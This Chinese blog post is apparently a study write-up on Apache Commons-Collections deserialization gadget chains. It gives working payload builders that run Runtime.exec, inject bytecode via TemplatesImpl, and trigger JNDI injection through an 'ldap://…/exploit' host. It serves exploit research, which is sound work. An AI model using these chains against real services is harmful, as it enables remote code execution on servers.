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commons-collections利用链学习总结

开发技术 开发技术 1小时前 3次浏览

目录
  • 1 基础
    • ConstantTransformer
    • InvokeTransformer
    • ChainedTransformer
    • LazyMap
    • TiedMapEntry
    • TransformingComparator
    • PriorityQueue
    • TemplatesImpl
  • 2 实现readObject方法的类及其利用链
    • BadAttributeValueExpExceptionCC
    • PriorityQueueCC
    • PriorityQueueCC2
    • HashMapCC
    • HashSetCC
    • HashTableCC
    • HashTableCC2
    • AnnotationInvocationHandlerCC
  • 3 总结
  • 参考

整过Fastjson、Jackson和XML反序列化之后,感觉还需要对Commons-Collections链来个更清晰的认识,所以决定从ysoserial源码和CC链源码出发,复原整个链是如何构造出来的

1 基础

首先要说一个重要假设,如果某台服务器上,开了一个服务,接受java序列化字节码,并且使用ObjectInputStream.readObject方法进行反序列化,应该如何利用?

  • 直接写一个恶意java类,例如Test,并在其中写入命令执行的代码,序列化后传给服务器,可以在服务器上执行吗?当然不行!因为没有Test类,服务器上执行readObject的时候直接报错,找不到Test类
  • 必须用服务器上存在的类,怎么让它在readObject执行过程中触发呢?这里就是CC链的重要意义了,如果反序列化的类定义了readObject方法,服务器上执行ObjectInputStream.readObject时,会自动调用反序列化类中的readObject方法,更进一步的,如果反序列化类的readObject方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了

在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,所以可以利用的范围广泛!

CC链(Commons-Collections)中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看着好像很多有点唬人,其实理解之后会发现都不是大问题,特别是看过这些类的源码之后,每个利用链就会很清晰。一个一个来:

ConstantTransformer

这个类的作用就是保存一个对象而已,创建实例时需要传入一个需要保存的对象,调用实例的transform即可获得其中的常量,没有多余的处理逻辑(推荐直接看源码

public O transform(final I input) {
        return iConstant;
    }

InvokeTransformer

这个类的主要功能就是执行某个对象的某个方法,直接上源码

//构造函数
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes != null ? paramTypes.clone() : null;
    iArgs = args != null ? args.clone() : null;
}
//功能函数
public O transform(final Object input) {
    if (input == null) {
        return null;
    }
    try {
        final Class<?> cls = input.getClass();
        final Method method = cls.getMethod(iMethodName, iParamTypes);
        return (O) method.invoke(input, iArgs);
    }catch (...){...}
            
  • 构造函数要求传入方法名,方法需要参数类型,具体参数
  • 功能函数transform需要传入一个对象,然后执行构造函数中给定的方法

其实这个类的功能就是反射执行一个类的特定方法而已

ChainedTransformer

这个类创建实例时,需要传入一个Transformer数组,该类的功能就是遍历执行Transformer数组的transform函数,并且将上一次的transform函数的执行结果作为下一次transform的输入,看源码

public T transform(T object) {
        for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
            object = iTransformer.transform(object);
        }
        return object;
    }

其中的iTransformer就是创建时传入的Transformer数组。

到这里,三个Transformer其实就可以连接起来了,先创建一个Transformer数组,用ConstantTransformer起手,传入一个对象,用InvokeTransformer一步一步调用函数,再将数组传入ChainedTransformer,调用其transform函数。

举例,先定义一个Test类

public static class Test{
    public String name;

    public Test setName(String name) {
        System.out.println("setName to " + name);
        this.name = name;
        return this;
    }

    public String getName(){
        System.out.println("getName " + this.name);
        return this.name;
    }
}

再写一个transformer数组,并传入ChainedTransformer,调用transform方法

commons-collections利用链学习总结

从例子不难理解,chainedTransformer调用过程和object.xxx().yyy().zzz()是一样的,只是需要用InvokerTransformer来完成。那Transformer数组就可以组合成任意想要执行的代码,例如

Transformer[] transformer = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);

这个利用链等价于Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")

或者也可以用chainedTransformer链调用JdbcRowSetImple,恰好它还继承了Serializable,可以序列化,所以只需要设置一下dataSourceName属性再调用autoCommit即可触发JNDI注入,就不展开说明了,了解过fastjson漏洞就清楚了。代码如下

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Transformer[] transformer = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

LazyMap

前面ChainedTransformer已经可以打通命令执行或者代码执行了,那么如何在readObject之后,执行到transform函数呢,先一步一步来。一般都不会有什么代码直接写个xxx.transform(null),所以需要进一步包装一下。恰好有个LazyMap,关键源代码如下

//静态方法,创建LazyMap实例
public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
// 构造函数,将传入的Transformer设定为this.factory
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
// 重点方法,里面会调用到this.factory.transform()
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

简单看一下源代码就知道,如果传入的map是一个空的map,在get函数中就一定会指定factory.transform(key),而factory又是我们传入的chainedTransformr实例,所以调用了lazyMap.get,就会命令执行了。(补充:这个类定义了writeObject和readObject方法,所以可以实例化)

HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(123);

TiedMapEntry

其实LazyMap的get方法已经可以结合一些类的readObject方法实现调用链了,但是通过TiedMapEntry可以进一步扩展调用链,看几个关键源代码

//构造函数,map可以传入lazyMap,key随便传一个字符串即可
public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
//重点在于map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
public Object getValue() {
        return map.get(key);
    }
//equals方法,重点在于调用了getValue()->map.get(key)
public boolean equals(Object obj) {
    if (obj == this) {
        return true;
    }
    if (obj instanceof Map.Entry == false) {
        return false;
    }
    Map.Entry other = (Map.Entry) obj;
    Object value = getValue();
    return
        (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
        (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
//hashCode方法,重点也是getValue()->map.get(key)
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}
//toString方法,getValue()->map.get(key)
public String toString() {
        return getKey() + "=" + getValue();
    }

这个类简直是宝藏啊!把一个单纯的get方法,直接扩展了4个方向,也就是说,找到某些类的readObject方法执行过程中,调用到了成员实例的getValue、equels、hashcode、toString方法,只要把成员是TiedMapEntry实例,就可以构成一个反序列化的链了。

TransformingComparator

这个类主要是把transform调用放在了compare函数中,相当于增加了一个利用链的方向,看看关键源代码

//构造函数
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
// compare函数,无判断条件直接调用transform
public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这里利用链就比较简单了,很明显只要readObject过程中调用了实例的compare方法,就可以触发了。

PriorityQueue

这个类的核心在于readObject方法一路调用之后(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)),执行到comparator.compare(e),其中e是该类队列中的变量,可以在序列化前放进去。

到这里需要结合另一个类,TransformingComparator来食用,TransformingComparator的compare和构造方法如下

// 构造方法
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
// compare方法
public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

很明显构造方法传入一个tansformer对象即可,然后配合前面的调用链,执行到transform函数,所以这个类的整体调用链如下

readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))

实际上已经连接到Transformer了,用ChainedTransoformer或其它方法都可以实现RCE。到这里ysoserial的作者为了实现任意代码执行,使用了另一个类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl下面展开一下这个类

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自带的类,里面用到的核心方法如下

// 核心方法1,newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

这里代码看到getTransletInstance调用,跟进一下

// 核心方法2 getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

可以看到__class==null时,会执行defineTransletClasses(),而后__class[_transletIndex].newInstance(),在数组中取出一个类对象调用newInstance方法。也就是说最终会产生一个类对象。进一步跟进defineTransletClasses方法看看

// 核心方法3,defineTransletClasses,根据字节码,创建类对象
private void defineTransletClasses() throws TransformerConfigurationException {

    if (_bytecodes == null) { // 这里如果_bytecodes==null,程序直接报错,所以不能为null
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    // 获取classLoader,用于后面加载类的字节码
    TransletClassLoader loader = (TransletClassLoader)  AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });

    try {
        // 创建常量
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            // 循环使用defineClass加载类字节码,返回类对象
            _class[i] = loader.defineClass(_bytecodes[i]);
            // 省略后的代码,后面基本不用看了,因为没有对__class数组产生影响,返回前面的getTransletInstance函数中          
        }
    }
    catch() { //异常处理,省略 }
}

返回到getTransletInstance,关键在于执行了__class[_transletIndex].newInstance()创建类对象,这一步就可以在自定义的恶意类静态代码块添加恶意代码了

2 实现readObject方法的类及其利用链

前面基础部分已经把命令执行或任意java代码执行串联到,只需要执行get、equals、hashCode、toString、compare、getValue方法了,现在来找一些实现了readObject方法,并且可以其过程中调用了内部实例的get、equals等方法,就可以构成一个反序列化利用链了。

BadAttributeValueExpExceptionCC

这里就不用ysoserial定义的Commons-Collections 1-7来称呼了,一点也不好记,用实现了readObject方法的类名+CC简称更容易记忆和感受一些。

BadAttributeValueExpException实现了readObjcet方法,并且其中有个valObj.toString方法

class BadAttributeValueExpException{
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
    // 构造函数
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
}

这里是不是正好想到了前面的TiedMapEntry的toString方法!如果把valObj变成TiedMapEntry的实例,直接就从readObjct连到transform了。来看看上面的关键源代码,valObj就是val这个成员,再看看构造函数,this.val会被转换为val.toString,因此不能new BadAttributeValueExpException时传入TiedMapEntry,需要使用反射在创建BadAttributeValueExpException对象后修改其val成员变量:

// 省略chainedTransformer创建的过程,直接从前面拿过来就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");

BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
    // 反射修改val
    Field val = expException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();}

// 本地写文件验证
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(expException);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();

如果感觉写文件验证不够严谨,可以创建一个socket服务端,本地把序列化后的字节流传给socket服务端,服务端把接收的字节流直接readObject即可验证

这里的利用链也比较清晰

PriorityQueueCC

ysoserial原生调用链如下

readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
	TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
		TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()

看到调用链,结合前面提到的关键函数,这个链也就很好理解了,上代码

// 需要反射的两个类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 这里需要借助javassist中的相关方法,动态创建类,动态添加类方法和静态代码块
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("PriorityQueueCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");

// 用来保存字节码
byte[] bytes = payload.toBytecode();

// 反射创建TemplatesImpl类实例
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
// 反射修改其中的_bytecodes属性
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

// 反射修改其中的_name属性
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

// 创建InvokerTransformer实例,并写好newTransfomer方法调用
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
// 创建TransformingComparator实例,放在后面的PriorityQueue中
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

// 反射修改PriorityQueue中的comparator变量,反序列化后,会自动调用comparator.compare方法
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

// 修改PriorityQueue中的queue变量,因为反序列化后,queue中的对象会传入comparator.compare方法中,
// 然后调用到templatesImpl.newTransform
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

// 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

PriorityQueueCC2

前面使用TemplatesImpl属实麻烦,直接把transformer处改成ChainedTransformer的实例即可,所以稍微改了一下PriorityQueueCC链

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Transformer[] transformer = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(2);  
priorityQueue.add(1);
priorityQueue.add(2);

// 反射修改comparator
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);

// 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(priorityQueue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

HashMapCC

HashMap实现了readObject方法,在反序列化后,会执行它的readObject方法,其方法中关键在于执行了hash(key)->key.hashCode()这个调用链,那很明显,跟前面的TiedMapEntry就可以接起来了。先看看HashMap中涉及到的核心方法

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    // 省略很多不相关代码,以及读取字节码中数据的代码
	
    // 读取key和value,put到HashMap的mapping中
    // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }  
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里可以看到,最后putVal前执行了hash(key),跟进HashMap.hash(key),可以看到,直接调用了key.hashCode方法,如果把key设置为TiedMapEntry的实例,直接就把利用链构造出来了。所以,代码如下

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Transformer transformer[] = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};

HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

HashMap hashMap1 = new HashMap(1);
// 由于是执行了key.hashCode(),所以要把tiedMapEntry作为key
hashMap1.put(tiedMapEntry, "test");
lazyMap.clear();

// hashmap.put时本地触发exp链,map.put->map.hash->entry.hashcode->lazymap.get->transform
// 由于创建hashmap后,会自动给lazyMap添加一个<key,value>,所以要remove掉这个键值对
// 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);

try{
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
    out.writeObject(hashMap1);
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
    in.readObject();
}catch (Exception e){e.printStackTrace();}

HashSetCC

HashSet的readObject方法中,创建了HashMap,并用HashMap的实例put反序列化出来的对象

private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {
    // 省略读取字节码的部分
    // Create backing HashMap  创建一个map对象,三元表达式结果会创建一个HashMap对象,而且LinkedHashMap继承自HashMap并且没有重写put方法
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.  关键在于执行了map.put
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

这个利用链和前面的HashMap利用链接上了,map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()

所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Transformer transformer[] = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};

//        chainedTransformer.transform(null);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");

// 由于创建hashset后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
// 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数
// 避免hashset.add时本地触发exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
    out.writeObject(hashSet);
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
    in.readObject();
}catch (Exception e){e.printStackTrace();}

HashTableCC

先看看HashTable的readObject方法

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
    // 省略前面不相关代码
    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
        K key = (K)s.readObject();  // 读取key
        @SuppressWarnings("unchecked")
        V value = (V)s.readObject();  // 读取value
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);  // 给内部table添加key-value
    }
}

跟进reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();  // 注意这里
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {  // 注意key.equals()
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

很明显了,看到key.hashCode可以直接和TiedMapEntry链接起来;而key.equals也可以执行执行吗?

先来看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用链

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Transformer transformer[] = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// 创建lazyMap
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.put("test", 1);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

Hashtable hashtable = new Hashtable(1);
hashtable.put(tiedMapEntry, 1);
lazyMap.remove("test");


// 由于创建hashtable后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
// 以保证反序列化后,lazyMap.get时,map.containsKey(key) = false,从而进入transform函数

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);

// 本地写文件
try{
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
    out.writeObject(hashtable);
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
    in.readObject();
}catch (Exception e){e.printStackTrace();}

这个链主要是在HashTable.reconstitutionPut中调用key.hashCode()方法,而这个key可以被设置为tiedMapEntry对象,所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用链。

HashTableCC2

然后再来看看key.equals的触发点,这里需要对lazyMap进一步解析,特别是其内部的map。我们在创建lazyMap的时候,传入了一个HashMap,又由于LazyMap继承自AbstractMapDecorator,所以其map属性定义也是继承自AbstractMapDecorator。

// 类的继承关系
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
    // 创建lazyMap的方法
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    
    // 构造函数
    protected LazyMap(Map map, Transformer factory) {
        super(map);  // 调用父类的构造方法
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    // super(map) 父类构造函数
    public AbstractMapDecorator(Map map) {
        if (map == null) {
            throw new IllegalArgumentException("Map must not be null");
        }
        this.map = map;  // 注意这里,this.map=传进来的map,也就是HashMap
    }
}

然后this.map=HashMap,所以看看HashMap的源码

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable

看到HashMap继承了AbstractMap,跟进看一下AbstractMap的源码,并且主要看一下equals方法!

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;  // 这里转换了一下变量名 m = o
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))  // 执行了m.get() 
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch () { //省略}

    return true;
}

到这里,如果m就是我们输入的lazyMap,结合前面提到过的lazyMap.get->transformer.transform,那直接就进入恶意代码环节了。所以先来个利用代码,再梳理一下利用链

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Transformer transformer[] = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};

Map map1=new HashMap();
Map map2=new HashMap();

Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
f.setAccessible(true);
Object map = f.get(lazyMap1);
System.out.println(map.getClass().getName());

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");

//避免hashtable.put本地触发exp
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformer);

// 读写文件测试
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

反序列化的时候是这样触发的:

HashTable.readObject()
    Hashtable.reconstitutionPut() 源码 ->	e.key.equals(key) 这里e.key是一个lazyMap,key也是lazyMap

lazyMap本身没有实现equals方法,继承了AbstractMapDecorator,所以调用父类的equals方法

AbstractMapDecorator.equals(key)  源码 -> return this.map.equals(key)
    HashMap.equals(key)
    	AbstractMap.equals(key)
    		m.get(xx) <=> lazyMap.get(xx)

AbstractMapDecorator.equals源代码中,使用其实例中map成员的equals方法,即return this.map.equals(key)

由于创建lazyMap时,传入的是一个HashMap,所以调用了HashMap.equals,而HashMap继承自AbstractMap,并且没有重写equals方法,所以实际上调用AbstractMap.equals(key)。

在上面AbstractMap.equals(key)源码会存在m=o,再m.get(key),实际上参数o就是一个之前从Hashtable.reconstitutionPut()一路传递进去的那个key,也就是lazyMap,所以这里就等于是执行lazyMap.get(xx),到此利用链就连起来了。

最后给个IDEA报错提示,看看调用链

at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
